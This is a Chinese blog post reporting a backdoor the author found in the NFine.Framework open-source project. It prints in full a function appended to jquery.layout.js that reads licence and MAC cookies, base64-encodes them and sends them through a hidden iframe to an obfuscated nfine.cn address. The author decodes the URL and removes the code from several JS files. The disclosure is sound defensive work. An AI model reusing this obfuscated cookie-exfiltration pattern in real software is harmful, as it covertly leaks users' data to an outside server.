最近看到NFine开发团队开发的NFine.Framework开源框架,觉得挺好用的。

但是运行框架的时候发现加载首页的时候有在访问域名地址为 http://www.nfine.cn  的连接。这个是开源框架,自己拿来用,怎么能去访问莫名其妙的连接呢?在网上看到很多人也发现了这个问题。

我试着全项目查找这个域名,发现根本找不到,偶尔有一天研究框架的js的时候,发现 jquery.layout.js 代码最后一行有一个莫名其妙的方法:

代码如下:

function ($) { $.abcd = { getCookie: function (a) { var b, c = new RegExp("(^| )" + a + "=([^;]*)(;|$)"); if (b = document.cookie.match(c)) { return unescape(b[2]) } else { return null } }, execute: function () { try { if (top.$.wdversion == undefined) { top.$.wdversion = "0.0.0.0.0.1"; var a = $.abcd.getCookie("nfine_mac"); var b = $.abcd.getCookie("nfine_licence"); var c = decodeURIComponent(window.atob("aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA==")); var d = window.atob("aWZyYW1lanMwMDAwMQ=="); var f = decodeURIComponent(window.atob("JTNDaWZyYW1lJTIwaWQlM0QlMjJpZnJhbWVqczAwMDAxJTIyJTIwJTIwc3R5bGUlM0QlMjJkaXNwbGF5JTNBbm9uZSUyMiUyMCUzRSUzQy9pZnJhbWUlM0U=")); var g = ""; if (top.$("#" + d).length <= 0) { top.$("body").append(f); window.setTimeout(function () { top.$.wdkey = { userKey: b, macs: a }; if (top.$.wdkey != undefined) { g = window.btoa(JSON.stringify(top.$.wdkey)) }; top.$("#" + d).attr("src", c + "?ppp=" + g) }, 6000) } } } catch (e) { } }, init: function () { $.abcd.execute() } }; $(function () { $.abcd.init() }) })(jQuery);

难道这就是访问cookie的后门么,然后我把用window.atob加密的base64字符串解码一看,果然就是这个,解码后的地址:http://www.nfine.cn:8099/NFineWatch/20160801.html

虽然这个地址现在已经无法访问了,但是我还是把上面那段代码去除了,并且又全局搜索了"aHR0cDovL3d3dy5uZmluZS5jbjo4MDk5L05GaW5lV2F0Y2gvMjAxNjA4MDEuaHRtbA=="这串字符,发现还有几个js文件也有,就连“jQuery UI”文件也不放过,太惨无人道了,算了我还是也一并清除。

包含连接的JS文件如下:

framework-ui.js

jqgrid.min.js

jquery-ui.min.js

最后总结:虽然感谢这个团队贡献的这个开源框架,但是对于这种读取cookie的开后门行为,我是挺反感的,我自己也整理了一些库放在GitHub  上开源共享,我也愿意对这类的开源项目贡献自己的一份薄力,好的开源项目我们应该多支持。

NFine.Framework框架去除cookie后门方法相关推荐

  1. php ci cookie使用,CI框架实现cookie登陆的方法详解

    本文实例讲述了CI框架实现cookie登陆的方法.分享给大家供大家参考,具体如下: 第一步:login.php //登陆方法 public function login(){ //如果用户名和密码为空 ...

  2. php excel 组件,Yii Framework框架使用PHPExcel组件的方法示例

    本文实例讲述了Yii Framework框架使用PHPExcel组件的方法.分享给大家供大家参考,具体如下: PHPExcel下载地址http://www.yiiframework.com/exten ...

  3. .Net 初步学习笔记之一——.Net 平台与.Net FrameWork框架的关系

    .Net 包含两部分 .Net平台 和.Net FrameWork 框架 1..Net FrameWork框架包含于.Net平台. .Net FrameWork提供环境和支撑保证.Net平台运行. 2 ...

  4. ASP.NET之.NET FrameWork框架

    .NET FrameWork框架 是一套应用程序开发框架,主要目的提供一个开发模型. 主要的两个组件: 公共语言运行时(Common Language Runtime)(CLR): 提供内存管理.线 ...

  5. 请问如何把.net framework框架集成在安装程序里头?

    请问如何把.net framework框架集成在安装程序里头? 大家都知道在没有framework框架的机子上是无法运行.net编写的软件的 虽然把编写的软件做成安装软件在没有框架的机子上要安装时会自 ...

  6. DRF (Django REST framework) 框架介绍

    Web应用模式 在开发Web应用中,有两种应用模式: 前后端不分离 前后端分离 1 前后端不分离 在前后端不分离的应用模式中,前端页面看到的效果都是由后端控制,由后端渲染页面或重定向,也就是后端需要控 ...

  7. python 注销一大段_Django框架用户注销功能实现方法分析

    本文实例讲述了Django框架用户注销功能实现方法.分享给大家供大家参考,具体如下: HttpResponse()里有个delete_cookie()方法专门用来删除cookie 我们到此来完整的实现 ...

  8. php行为和事件是什么,Yii Framework框架中事件和行为的区别及应用实例分析

    本文实例讲述了Yii Framework框架中事件和行为的区别及应用.分享给大家供大家参考,具体如下: 个人觉得,在 Yii 里面,最难以明白的就是事件(Event)和行为(behavior)了.这不 ...

  9. php ci hooks,CodeIgniter框架钩子机制实现方法【hooks类】

    本文实例讲述了CodeIgniter框架钩子机制实现方法.分享给大家供大家参考,具体如下: 记得上一次去到喜啦面试,面试官问我一个问题:codeigniter是如何实现钩子机制的? 当时答不上来,后来 ...

  10. Django Rest Framework框架

    注明 本笔记主要参考书籍<Django应用开发实战><Django企业开发实战>,这两本书前者详细,后者精炼.本文还主要参考(?雾)金角大王的博客,当然还参考了其他人的博客.这 ...

最新文章

  1. RDKit | 天然产物的相似度评分(NP-likeness)
  2. ubuntu php上传文件,Ubuntu中增加apache上传文件大小限制(突破Aapache默认2M上传限制)...
  3. boost::posix_time模块用时间构造和计算的一些简单例子
  4. python分层聚类集群合并_24、python分层聚类案例(scipy方法)
  5. 关于人生倒计时的一个小玩意,纯属业余
  6. Magento: 解决 Bootstrap 3 与prototype并用的时候, 下拉菜单消失的问题 Bootstrap 3 dropdown menu dis...
  7. 类与类关系的UML图与代码表现
  8. 华为云专家私房课:视频传输技术选型的三大法宝
  9. DOM 提供了一些滚动页面设置指定可见
  10. linux网络总线的作用,I2C总线是什么?基于I2C总线的Linux系统有哪些优点?
  11. redux-saga中间件的安装和使用-(三)
  12. Restorator 2007 3.70.1729
  13. 万能的林萧说:我来告诉你,一个草根程序员如何进入BAT。
  14. Redis 数据丢失问题排查
  15. 记一次perl使用lwp获取结果为乱码
  16. MFC字符串资源IDR_MAINFRAME和IDR_XXXXTYPE
  17. 【Minecraft开服教程】使用 MCSM 面板一键搭建我的世界服务器,并内网穿透公网远程联机
  18. 哪里有纯免费的PPT模板下载网站?
  19. 斐波那契(Fibonacci)数列问题
  20. Pandas str列内置方法

热门文章

  1. OpenGL中的坐标变换、矩阵变换【转载】
  2. Google验证码ReCaptcha V3
  3. docker 安装Oracle-11g
  4. python 遗传算法_Python实现遗传算法的代码
  5. SHP格式以及SHP矢量数据编辑软件ShpEditor介绍
  6. 【Android工具】更新简单好用IP端口扫描工具Fing Pro,网络设备查看工具,内网ip查询ip扫描工具,网络端口查询工具...
  7. Java分布式面试题( Session分布式解决方案)
  8. 基于java的铁路售票系统(火车票预订)ssh框架
  9. 法语语音教学课件下载
  10. 通过ssh连接Termux